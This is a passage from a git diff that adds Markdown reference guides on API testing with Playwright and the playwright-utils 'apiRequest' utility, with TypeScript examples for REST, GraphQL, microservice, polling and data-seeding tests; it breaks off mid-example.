+
+- Manual JSON parsing (`await response.json()`)
+- Repetitive status code checking
+- No built-in retry logic for transient failures
+- No schema validation
+- Complex URL construction
+
+The `apiRequest` utility provides:
+
+- **Automatic JSON parsing**: Response body pre-parsed
+- **Built-in retry**: 5xx errors retry with exponential backoff
+- **Schema validation**: Single-line validation (JSON Schema, Zod, OpenAPI)
+- **URL resolution**: Four-tier strategy (explicit > config > Playwright > direct)
+- **TypeScript generics**: Type-safe response bodies
+- **No browser required**: Pure API testing without browser overhead
+
+## Pattern Examples
+
+### Example 1: Basic API Request
+
+**Context**: Making authenticated API requests with automatic retry and type safety.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('should fetch user data', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest<User>({
+    method: 'GET',
+    path: '/api/users/123',
+    headers: { Authorization: 'Bearer token' },
+  });
+
+  expect(status).toBe(200);
+  expect(body.name).toBe('John Doe'); // TypeScript knows body is User
+});
+```
+
+**Key Points**:
+
+- Generic type `<User>` provides TypeScript autocomplete for `body`
+- Status and body destructured from response
+- Headers passed as object
+- Automatic retry for 5xx errors (configurable)
+
+### Example 2: Schema Validation (Single Line)
+
+**Context**: Validate API responses match expected schema with single-line syntax.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { z } from 'zod';
+
+// JSON Schema validation
+test('should validate response schema (JSON Schema)', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users/123',
+    validateSchema: {
+      type: 'object',
+      required: ['id', 'name', 'email'],
+      properties: {
+        id: { type: 'string' },
+        name: { type: 'string' },
+        email: { type: 'string', format: 'email' },
+      },
+    },
+  });
+  // Throws if schema validation fails
+  expect(status).toBe(200);
+});
+
+// Zod schema validation
+const UserSchema = z.object({
+  id: z.string(),
+  name: z.string(),
+  email: z.string().email(),
+});
+
+test('should validate response schema (Zod)', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users/123',
+    validateSchema: UserSchema,
+  });
+  // Response body is type-safe AND validated
+  expect(status).toBe(200);
+  expect(body.email).toContain('@');
+});
+```
+
+**Key Points**:
+
+- Single `validateSchema` parameter
+- Supports JSON Schema, Zod, YAML files, OpenAPI specs
+- Throws on validation failure with detailed errors
+- Zero boilerplate validation code
+
+### Example 3: POST with Body and Retry Configuration
+
+**Context**: Creating resources with custom retry behavior for error testing.
+
+**Implementation**:
+
+```typescript
+test('should create user', async ({ apiRequest }) => {
+  const newUser = {
+    name: 'Jane Doe',
+    email: 'jane@example.com',
+  };
+
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: newUser, // Automatically sent as JSON
+    headers: { Authorization: 'Bearer token' },
+  });
+
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+
+// Disable retry for error testing
+test('should handle 500 errors', async ({ apiRequest }) => {
+  await expect(
+    apiRequest({
+      method: 'GET',
+      path: '/api/error',
+      retryConfig: { maxRetries: 0 }, // Disable retry
+    }),
+  ).rejects.toThrow('Request failed with status 500');
+});
+```
+
+**Key Points**:
+
+- `body` parameter auto-serializes to JSON
+- Default retry: 5xx errors, 3 retries, exponential backoff
+- Disable retry with `retryConfig: { maxRetries: 0 }`
+- Only 5xx errors retry (4xx errors fail immediately)
+
+### Example 4: URL Resolution Strategy
+
+**Context**: Flexible URL handling for different environments and test contexts.
+
+**Implementation**:
+
+```typescript
+// Strategy 1: Explicit baseUrl (highest priority)
+await apiRequest({
+  method: 'GET',
+  path: '/users',
+  baseUrl: 'https://api.example.com', // Uses https://api.example.com/users
+});
+
+// Strategy 2: Config baseURL (from fixture)
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test.use({ configBaseUrl: 'https://staging-api.example.com' });
+
+test('uses config baseURL', async ({ apiRequest }) => {
+  await apiRequest({
+    method: 'GET',
+    path: '/users', // Uses https://staging-api.example.com/users
+  });
+});
+
+// Strategy 3: Playwright baseURL (from playwright.config.ts)
+// playwright.config.ts
+export default defineConfig({
+  use: {
+    baseURL: 'https://api.example.com',
+  },
+});
+
+test('uses Playwright baseURL', async ({ apiRequest }) => {
+  await apiRequest({
+    method: 'GET',
+    path: '/users', // Uses https://api.example.com/users
+  });
+});
+
+// Strategy 4: Direct path (full URL)
+await apiRequest({
+  method: 'GET',
+  path: 'https://api.example.com/users', // Full URL works too
+});
+```
+
+**Key Points**:
+
+- Four-tier resolution: explicit > config > Playwright > direct
+- Trailing slashes normalized automatically
+- Environment-specific baseUrl easy to configure
+
+### Example 5: Integration with Recurse (Polling)
+
+**Context**: Waiting for async operations to complete (background jobs, eventual consistency).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('should poll until job completes', async ({ apiRequest, recurse }) => {
+  // Create job
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  const jobId = body.id;
+
+  // Poll until ready
+  const completedJob = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${jobId}` }),
+    (response) => response.body.status === 'completed',
+    { timeout: 60000, interval: 2000 },
+  );
+
+  expect(completedJob.body.result).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- `apiRequest` returns full response object
+- `recurse` polls until predicate returns true
+- Composable utilities work together seamlessly
+
+### Example 6: Microservice Testing (Multiple Services)
+
+**Context**: Test interactions between microservices without a browser.
+
+**Implementation**:
+
+```typescript
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+const USER_SERVICE = process.env.USER_SERVICE_URL || 'http://localhost:3001';
+const ORDER_SERVICE = process.env.ORDER_SERVICE_URL || 'http://localhost:3002';
+
+test.describe('Microservice Integration', () => {
+  test('should validate cross-service user lookup', async ({ apiRequest }) => {
+    // Create user in user-service
+    const { body: user } = await apiRequest({
+      method: 'POST',
+      path: '/api/users',
+      baseUrl: USER_SERVICE,
+      body: { name: 'Test User', email: 'test@example.com' },
+    });
+
+    // Create order in order-service (validates user via user-service)
+    const { status, body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE,
+      body: {
+        userId: user.id,
+        items: [{ productId: 'prod-1', quantity: 2 }],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(order.userId).toBe(user.id);
+  });
+
+  test('should reject order for invalid user', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE,
+      body: {
+        userId: 'non-existent-user',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(400);
+    expect(body.code).toBe('INVALID_USER');
+  });
+});
+```
+
+**Key Points**:
+
+- Test multiple services without browser
+- Use `baseUrl` to target different services
+- Validate cross-service communication
+- Pure API testing - fast and reliable
+
+### Example 7: GraphQL API Testing
+
+**Context**: Test GraphQL endpoints with queries and mutations.
+
+**Implementation**:
+
+```typescript
+test.describe('GraphQL API', () => {
+  const GRAPHQL_ENDPOINT = '/graphql';
+
+  test('should query users via GraphQL', async ({ apiRequest }) => {
+    const query = `
+      query GetUsers($limit: Int) {
+        users(limit: $limit) {
+          id
+          name
+          email
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { limit: 10 },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.users).toHaveLength(10);
+  });
+
+  test('should create user via mutation', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+          name
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: { name: 'GraphQL User', email: 'gql@example.com' },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.data.createUser.id).toBeDefined();
+  });
+});
+```
+
+**Key Points**:
+
+- GraphQL via POST request
+- Variables in request body
+- Check `body.errors` for GraphQL errors (not status code)
+- Works for queries and mutations
+
+### Example 8: Operation-Based Overload (OpenAPI / Code Generators)
+
+**Context**: When using a code generator (orval, openapi-generator, custom scripts) that produces typed operation definitions from an OpenAPI spec, pass the operation object directly to `apiRequest`. This eliminates manual `method`/`path` extraction and `typeof` assertions while preserving full type inference for request body, response, and query parameters. Available since v3.14.0.
+
+**Implementation**:
+
+```typescript
+// Generated operation definition — structural typing, no import from playwright-utils needed
+// type OperationShape = { path: string; method: 'POST'|'GET'|'PUT'|'DELETE'|'PATCH'|'HEAD'; response: unknown; request: unknown; query?: unknown }
+
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+// --- Basic usage: operation replaces method + path ---
+test('should upsert person via operation overload', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    operation: upsertPersonv2({ customerId }),
+    headers: getHeaders(customerId),
+    body: personInput, // compile-time typed as Schemas.PersonInput
+  });
+
+  expect(status).toBe(200);
+  expect(body.id).toBeDefined(); // body typed as Schemas.Person
+});
+
+// --- Typed query parameters (replaces string concatenation) ---
+test('should list people with typed query', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: getPeoplev2({ customerId }),
+    headers: getHeaders(customerId),
+    query: { page: 0, page_size: 5 }, // typed from operation's query definition
+  });
+
+  expect(body.items).toHaveLength(5);
+});
+
+// --- Params escape hatch (pre-formatted query strings) ---
+test('should fetch billing history with raw params', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: getBillingHistoryv2({ customerId }),
+    headers: getHeaders(customerId),
+    params: {
+      'filters[start_date]': getThisMonthTimestamp(),
+      'filters[date_type]': 'MONTH',
+    },
+  });
+
+  expect(body.entries.length).toBeGreaterThan(0);
+});
+
+// --- Works with recurse (polling) ---
+test('should poll until person is reviewed', async ({ apiRequest, recurse }) => {
+  await recurse(
+    async () =>
+      apiRequest({
+        operation: getPersonv2({ customerId, hash }),
+        headers: getHeaders(customerId),
+      }),
+    (res) => {
+      expect(res.status).toBe(200);
+      expect(res.body.status).toBe('REVIEWED');
+    },
+    { timeout: 30000, interval: 1000 },
+  );
+});
+
+// --- Schema validation chains work identically ---
+test('should create movie with schema validation', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    operation: createMovieOp,
+    headers: commonHeaders(authToken),
+    body: movie,
+  }).validateSchema(CreateMovieResponseSchema, {
+    shape: { status: 200, data: { name: movie.name } },
+  });
+
+  expect(body.data.id).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- Pass `operation` instead of `method` + `path` — mutually exclusive at compile time
+- Response body, request body, and query types inferred from operation definition
+- Uses structural typing (duck typing) — works with any code generator producing `{ path, method, response, request, query? }`
+- `query` field auto-serializes to bracket notation (`filters[type]=pep`, `ids[0]=10`)
+- `params` escape hatch for pre-formatted strings — wins over `query` on conflict
+- Fully composable with `recurse`, `validateSchema`, and all existing features
+- `response`/`request`/`query` on the operation are type-level only — runtime never reads their values
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                             | playwright-utils apiRequest                                                        |
+| ---------------------------------------------- | ---------------------------------------------------------------------------------- |
+| `const resp = await request.get('/api/users')` | `const { status, body } = await apiRequest({ method: 'GET', path: '/api/users' })` |
+| `const body = await resp.json()`               | Response already parsed                                                            |
+| `expect(resp.ok()).toBeTruthy()`               | Status code directly accessible                                                    |
+| No retry logic                                 | Auto-retry 5xx errors with backoff                                                 |
+| No schema validation                           | Built-in multi-format validation                                                   |
+| Manual error handling                          | Descriptive error messages                                                         |
+
+## When to Use
+
+**Use apiRequest for:**
+
+- ✅ Pure API/service testing (no browser needed)
+- ✅ Microservice integration testing
+- ✅ GraphQL API testing
+- ✅ Schema validation needs
+- ✅ Tests requiring retry logic
+- ✅ Background API calls in UI tests
+- ✅ Contract testing support
+- ✅ Type-safe API testing with OpenAPI-generated operations (v3.14.0+)
+
+**Stick with vanilla Playwright for:**
+
+- Simple one-off requests where utility overhead isn't worth it
+- Testing Playwright's native features specifically
+- Legacy tests where migration isn't justified
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Comprehensive pure API testing patterns
+- `overview.md` - Installation and design principles
+- `auth-session.md` - Authentication token management
+- `recurse.md` - Polling for async operations
+- `fixtures-composition.md` - Combining utilities with mergeTests
+- `log.md` - Logging API requests
+- `contract-testing.md` - Pact contract testing
+
+## Anti-Patterns
+
+**❌ Ignoring retry failures:**
+
+```typescript
+try {
+  await apiRequest({ method: 'GET', path: '/api/unstable' });
+} catch {
+  // Silent failure - loses retry information
+}
+```
+
+**✅ Let retries happen, handle final failure:**
+
+```typescript
+await expect(apiRequest({ method: 'GET', path: '/api/unstable' })).rejects.toThrow(); // Retries happen automatically, then final error caught
+```
+
+**❌ Disabling TypeScript benefits:**
+
+```typescript
+const response: any = await apiRequest({ method: 'GET', path: '/users' });
+```
+
+**✅ Use generic types:**
+
+```typescript
+const { body } = await apiRequest<User[]>({ method: 'GET', path: '/users' });
+// body is typed as User[]
+```
+
+**❌ Mixing operation overload with explicit generics:**
+
+```typescript
+// Don't pass a generic when using operation — types are inferred from the operation
+const { body } = await apiRequest<MyType>({
+  operation: getPersonv2({ customerId }),
+  headers: getHeaders(customerId),
+});
+```
+
+**✅ Let the operation infer the types:**
+
+```typescript
+const { body } = await apiRequest({
+  operation: getPersonv2({ customerId }),
+  headers: getHeaders(customerId),
+});
+// body type inferred from operation.response
+```
+
+**❌ Mixing operation with method/path:**
+
+```typescript
+// Compile error — operation and method/path are mutually exclusive
+await apiRequest({
+  operation: getPersonv2({ customerId }),
+  method: 'GET', // Error: method?: never
+  path: '/api/person', // Error: path?: never
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/api-testing-patterns.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/api-testing-patterns.md
new file mode 100644
index 0000000..564f0b2
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/api-testing-patterns.md
@@ -0,0 +1,915 @@
+# API Testing Patterns
+
+## Principle
+
+Test APIs and backend services directly without browser overhead. Use Playwright's `request` context for HTTP operations, `apiRequest` utility for enhanced features, and `recurse` for async operations. Pure API tests run faster, are more stable, and provide better coverage for service-layer logic.
+
+## Rationale
+
+Many teams over-rely on E2E/browser tests when API tests would be more appropriate:
+
+- **Slower feedback**: Browser tests take seconds, API tests take milliseconds
+- **More brittle**: UI changes break tests even when API works correctly
+- **Wrong abstraction**: Testing business logic through UI layers adds noise
+- **Resource heavy**: Browsers consume memory and CPU
+
+API-first testing provides:
+
+- **Fast execution**: No browser startup, no rendering, no JavaScript execution
+- **Direct validation**: Test exactly what the service returns
+- **Better isolation**: Test service logic independent of UI
+- **Easier debugging**: Clear request/response without DOM noise
+- **Contract validation**: Verify API contracts explicitly
+
+## When to Use API Tests vs E2E Tests
+
+| Scenario                  | API Test      | E2E Test      |
+| ------------------------- | ------------- | ------------- |
+| CRUD operations           | ✅ Primary    | ❌ Overkill   |
+| Business logic validation | ✅ Primary    | ❌ Overkill   |
+| Error handling (4xx, 5xx) | ✅ Primary    | ⚠️ Supplement |
+| Authentication flows      | ✅ Primary    | ⚠️ Supplement |
+| Data transformation       | ✅ Primary    | ❌ Overkill   |
+| User journeys             | ❌ Can't test | ✅ Primary    |
+| Visual regression         | ❌ Can't test | ✅ Primary    |
+| Cross-browser issues      | ❌ Can't test | ✅ Primary    |
+
+**Rule of thumb**: If you're testing what the server returns (not how it looks), use API tests.
+
+## Pattern Examples
+
+### Example 1: Pure API Test (No Browser)
+
+**Context**: Test REST API endpoints directly without any browser context.
+
+**Implementation**:
+
+```typescript
+// tests/api/users.spec.ts
+import { test, expect } from '@playwright/test';
+
+// No page, no browser - just API
+test.describe('Users API', () => {
+  test('should create user', async ({ request }) => {
+    const response = await request.post('/api/users', {
+      data: {
+        name: 'John Doe',
+        email: 'john@example.com',
+        role: 'user',
+      },
+    });
+
+    expect(response.status()).toBe(201);
+
+    const user = await response.json();
+    expect(user.id).toBeDefined();
+    expect(user.name).toBe('John Doe');
+    expect(user.email).toBe('john@example.com');
+  });
+
+  test('should get user by ID', async ({ request }) => {
+    // Create user first
+    const createResponse = await request.post('/api/users', {
+      data: { name: 'Jane Doe', email: 'jane@example.com' },
+    });
+    const { id } = await createResponse.json();
+
+    // Get user
+    const getResponse = await request.get(`/api/users/${id}`);
+    expect(getResponse.status()).toBe(200);
+
+    const user = await getResponse.json();
+    expect(user.id).toBe(id);
+    expect(user.name).toBe('Jane Doe');
+  });
+
+  test('should return 404 for non-existent user', async ({ request }) => {
+    const response = await request.get('/api/users/non-existent-id');
+    expect(response.status()).toBe(404);
+
+    const error = await response.json();
+    expect(error.code).toBe('USER_NOT_FOUND');
+  });
+
+  test('should validate required fields', async ({ request }) => {
+    const response = await request.post('/api/users', {
+      data: { name: 'Missing Email' }, // email is required
+    });
+
+    expect(response.status()).toBe(400);
+
+    const error = await response.json();
+    expect(error.code).toBe('VALIDATION_ERROR');
+    expect(error.details).toContainEqual(expect.objectContaining({ field: 'email', message: expect.any(String) }));
+  });
+});
+```
+
+**Key Points**:
+
+- No `page` fixture needed - only `request`
+- Tests run without browser overhead
+- Direct HTTP assertions
+- Clear error handling tests
+
+### Example 2: API Test with apiRequest Utility
+
+**Context**: Use enhanced apiRequest for schema validation, retry, and type safety.
+
+**Implementation**:
+
+```typescript
+// tests/api/orders.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { z } from 'zod';
+
+// Define schema for type safety and validation
+const OrderSchema = z.object({
+  id: z.string().uuid(),
+  userId: z.string(),
+  items: z.array(
+    z.object({
+      productId: z.string(),
+      quantity: z.number().positive(),
+      price: z.number().positive(),
+    }),
+  ),
+  total: z.number().positive(),
+  status: z.enum(['pending', 'processing', 'shipped', 'delivered']),
+  createdAt: z.string().datetime(),
+});
+
+type Order = z.infer<typeof OrderSchema>;
+
+test.describe('Orders API', () => {
+  test('should create order with schema validation', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest<Order>({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: 'user-123',
+        items: [
+          { productId: 'prod-1', quantity: 2, price: 29.99 },
+          { productId: 'prod-2', quantity: 1, price: 49.99 },
+        ],
+      },
+      validateSchema: OrderSchema, // Validates response matches schema
+    });
+
+    expect(status).toBe(201);
+    expect(body.id).toBeDefined();
+    expect(body.status).toBe('pending');
+    expect(body.total).toBe(109.97); // 2*29.99 + 49.99
+  });
+
+  test('should handle server errors with retry', async ({ apiRequest }) => {
+    // apiRequest retries 5xx errors by default
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/orders/order-123',
+      retryConfig: {
+        maxRetries: 3,
+        retryDelay: 1000,
+      },
+    });
+
+    expect(status).toBe(200);
+  });
+
+  test('should list orders with pagination', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest<{ orders: Order[]; total: number; page: number }>({
+      method: 'GET',
+      path: '/api/orders',
+      params: { page: 1, limit: 10, status: 'pending' },
+    });
+
+    expect(status).toBe(200);
+    expect(body.orders).toHaveLength(10);
+    expect(body.total).toBeGreaterThan(10);
+    expect(body.page).toBe(1);
+  });
+});
+```
+
+**Key Points**:
+
+- Zod schema for runtime validation AND TypeScript types
+- `validateSchema` throws if response doesn't match
+- Built-in retry for transient failures
+- Type-safe `body` access
+- **Note**: If your project uses code-generated operations from an OpenAPI spec, see [Example 8](#example-8-operation-based-api-testing-openapi--code-generators) for the preferred `operation`-based overload (v3.14.0+)
+
+### Example 3: Microservice-to-Microservice Testing
+
+**Context**: Test service interactions without browser - validate API contracts between services.
+
+**Implementation**:
+
+```typescript
+// tests/api/service-integration.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Service Integration', () => {
+  const USER_SERVICE_URL = process.env.USER_SERVICE_URL || 'http://localhost:3001';
+  const ORDER_SERVICE_URL = process.env.ORDER_SERVICE_URL || 'http://localhost:3002';
+  const INVENTORY_SERVICE_URL = process.env.INVENTORY_SERVICE_URL || 'http://localhost:3003';
+
+  test('order service should validate user exists', async ({ apiRequest }) => {
+    // Create user in user-service
+    const { body: user } = await apiRequest({
+      method: 'POST',
+      path: '/api/users',
+      baseUrl: USER_SERVICE_URL,
+      body: { name: 'Test User', email: 'test@example.com' },
+    });
+
+    // Create order in order-service (should validate user via user-service)
+    const { status, body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: user.id,
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(order.userId).toBe(user.id);
+  });
+
+  test('order service should reject invalid user', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: 'non-existent-user',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(400);
+    expect(body.code).toBe('INVALID_USER');
+  });
+
+  test('order should decrease inventory', async ({ apiRequest, recurse }) => {
+    // Get initial inventory
+    const { body: initialInventory } = await apiRequest({
+      method: 'GET',
+      path: '/api/inventory/prod-1',
+      baseUrl: INVENTORY_SERVICE_URL,
+    });
+
+    // Create order
+    await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: 'user-123',
+        items: [{ productId: 'prod-1', quantity: 2 }],
+      },
+    });
+
+    // Poll for inventory update (eventual consistency)
+    const { body: updatedInventory } = await recurse(
+      () =>
+        apiRequest({
+          method: 'GET',
+          path: '/api/inventory/prod-1',
+          baseUrl: INVENTORY_SERVICE_URL,
+        }),
+      (response) => response.body.quantity === initialInventory.quantity - 2,
+      { timeout: 10000, interval: 500 },
+    );
+
+    expect(updatedInventory.quantity).toBe(initialInventory.quantity - 2);
+  });
+});
+```
+
+**Key Points**:
+
+- Multiple service URLs for microservice testing
+- Tests service-to-service communication
+- Uses `recurse` for eventual consistency
+- No browser needed for full integration testing
+
+### Example 4: GraphQL API Testing
+
+**Context**: Test GraphQL endpoints with queries and mutations.
+
+**Implementation**:
+
+```typescript
+// tests/api/graphql.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+const GRAPHQL_ENDPOINT = '/graphql';
+
+test.describe('GraphQL API', () => {
+  test('should query users', async ({ apiRequest }) => {
+    const query = `
+      query GetUsers($limit: Int) {
+        users(limit: $limit) {
+          id
+          name
+          email
+          role
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { limit: 10 },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.users).toHaveLength(10);
+    expect(body.data.users[0]).toHaveProperty('id');
+    expect(body.data.users[0]).toHaveProperty('name');
+  });
+
+  test('should create user via mutation', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+          name
+          email
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: {
+            name: 'GraphQL User',
+            email: 'graphql@example.com',
+          },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.createUser.id).toBeDefined();
+    expect(body.data.createUser.name).toBe('GraphQL User');
+  });
+
+  test('should handle GraphQL errors', async ({ apiRequest }) => {
+    const query = `
+      query GetUser($id: ID!) {
+        user(id: $id) {
+          id
+          name
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { id: 'non-existent' },
+      },
+    });
+
+    expect(status).toBe(200); // GraphQL returns 200 even for errors
+    expect(body.errors).toBeDefined();
+    expect(body.errors[0].message).toContain('not found');
+    expect(body.data.user).toBeNull();
+  });
+
+  test('should handle validation errors', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: {
+            name: '', // Invalid: empty name
+            email: 'invalid-email', // Invalid: bad format
+          },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeDefined();
+    expect(body.errors[0].extensions.code).toBe('BAD_USER_INPUT');
+  });
+});
+```
+
+**Key Points**:
+
+- GraphQL queries and mutations via POST
+- Variables passed in request body
+- GraphQL returns 200 even for errors (check `body.errors`)
+- Test validation and business logic errors
+
+### Example 5: Database Seeding and Cleanup via API
+
+**Context**: Use API calls to set up and tear down test data without direct database access.
+
+**Implementation**:
+
+```typescript
+// tests/api/with-data-setup.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Orders with Data Setup', () => {
+  let testUser: { id: string; email: string };
+  let testProducts: Array<{ id: string; name: string; price: number }>;
+
+  test.beforeAll(async ({ request }) => {
+    // Seed user via API
+    const userResponse = await request.post('/api/users', {
+      data: {
+        name: 'Test User',
+        email: `test-${Date.now()}@example.com`,
+      },
+    });
+    testUser = await userResponse.json();
+
+    // Seed products via API
+    testProducts = [];
+    for (const product of [
+      { name: 'Widget A', price: 29.99 },
+      { name: 'Widget B', price: 49.99 },
+      { name: 'Widget C', price: 99.99 },
+    ]) {
+      const productResponse = await request.post('/api/products', {
+        data: product,
+      });
+      testProducts.push(await productResponse.json());
+    }
+  });
+
+  test.afterAll(async ({ request }) => {
+    // Cleanup via API
+    if (testUser?.id) {
+      await request.delete(`/api/users/${testUser.id}`);
+    }
+    for (const product of testProducts) {
+      await request.delete(`/api/products/${product.id}`);
+    }
+  });
+
+  test('should create order with seeded data', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: testUser.id,
+        items: [
+          { productId: testProducts[0].id, quantity: 2 },
+          { productId: testProducts[1].id, quantity: 1 },
+        ],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(body.userId).toBe(testUser.id);
+    expect(body.items).toHaveLength(2);
+    expect(body.total).toBe(2 * 29.99 + 49.99);
+  });
+
+  test('should list user orders', async ({ apiRequest }) => {
+    // Create an order first
+    await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: testUser.id,
+        items: [{ productId: testProducts[2].id, quantity: 1 }],
+      },
+    });
+
+    // List orders for user
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/orders',
+      params: { userId: testUser.id },
+    });
+
+    expect(status).toBe(200);
+    expect(body.orders.length).toBeGreaterThanOrEqual(1);
+    expect(body.orders.every((o: any) => o.userId === testUser.id)).toBe(true);
+  });
+});
+```
+
+**Key Points**:
+
+- `beforeAll`/`afterAll` for test data setup/cleanup
+- API-based seeding (no direct DB access needed)
+- Unique emails to prevent conflicts in parallel runs
+- Cleanup after all tests complete
+
+### Example 6: Background Job Testing with Recurse
+
+**Context**: Test async operations like background jobs, webhooks, and eventual consistency.
+
+**Implementation**:
+
+```typescript
+// tests/api/background-jobs.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Background Jobs', () => {
+  test('should process export job', async ({ apiRequest, recurse }) => {
+    // Trigger export job
+    const { body: job } = await apiRequest({
+      method: 'POST',
+      path: '/api/exports',
+      body: {
+        type: 'users',
+        format: 'csv',
+        filters: { createdAfter: '2024-01-01' },
+      },
+    });
+
+    expect(job.id).toBeDefined();
+    expect(job.status).toBe('pending');
+
+    // Poll until job completes
+    const { body: completedJob } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }),
+      (response) => response.body.status === 'completed',
+      {
+        timeout: 60000,
+        interval: 2000,
+        log: `Waiting for export job ${job.id} to complete`,
+      },
+    );
+
+    expect(completedJob.status).toBe('completed');
+    expect(completedJob.downloadUrl).toBeDefined();
+    expect(completedJob.recordCount).toBeGreaterThan(0);
+  });
+
+  test('should handle job failure gracefully', async ({ apiRequest, recurse }) => {
+    // Trigger job that will fail
+    const { body: job } = await apiRequest({
+      method: 'POST',
+      path: '/api/exports',
+      body: {
+        type: 'invalid-type', // This will cause failure
+        format: 'csv',
+      },
+    });
+
+    // Poll until job fails
+    const { body: failedJob } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }),
+      (response) => ['completed', 'failed'].includes(response.body.status),
+      { timeout: 30000 },
+    );
+
+    expect(failedJob.status).toBe('failed');
+    expect(failedJob.error).toBeDefined();
+    expect(failedJob.error.code).toBe('INVALID_EXPORT_TYPE');
+  });
+
+  test('should process webhook delivery', async ({ apiRequest, recurse }) => {
+    // Trigger action that sends webhook
+    const { body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: 'user-123',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+        webhookUrl: 'https://webhook.site/test-endpoint',
+      },
+    });
+
+    // Poll for webhook delivery status
+    const { body: webhookStatus } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/webhooks/order/${order.id}` }),
+      (response) => response.body.delivered === true,
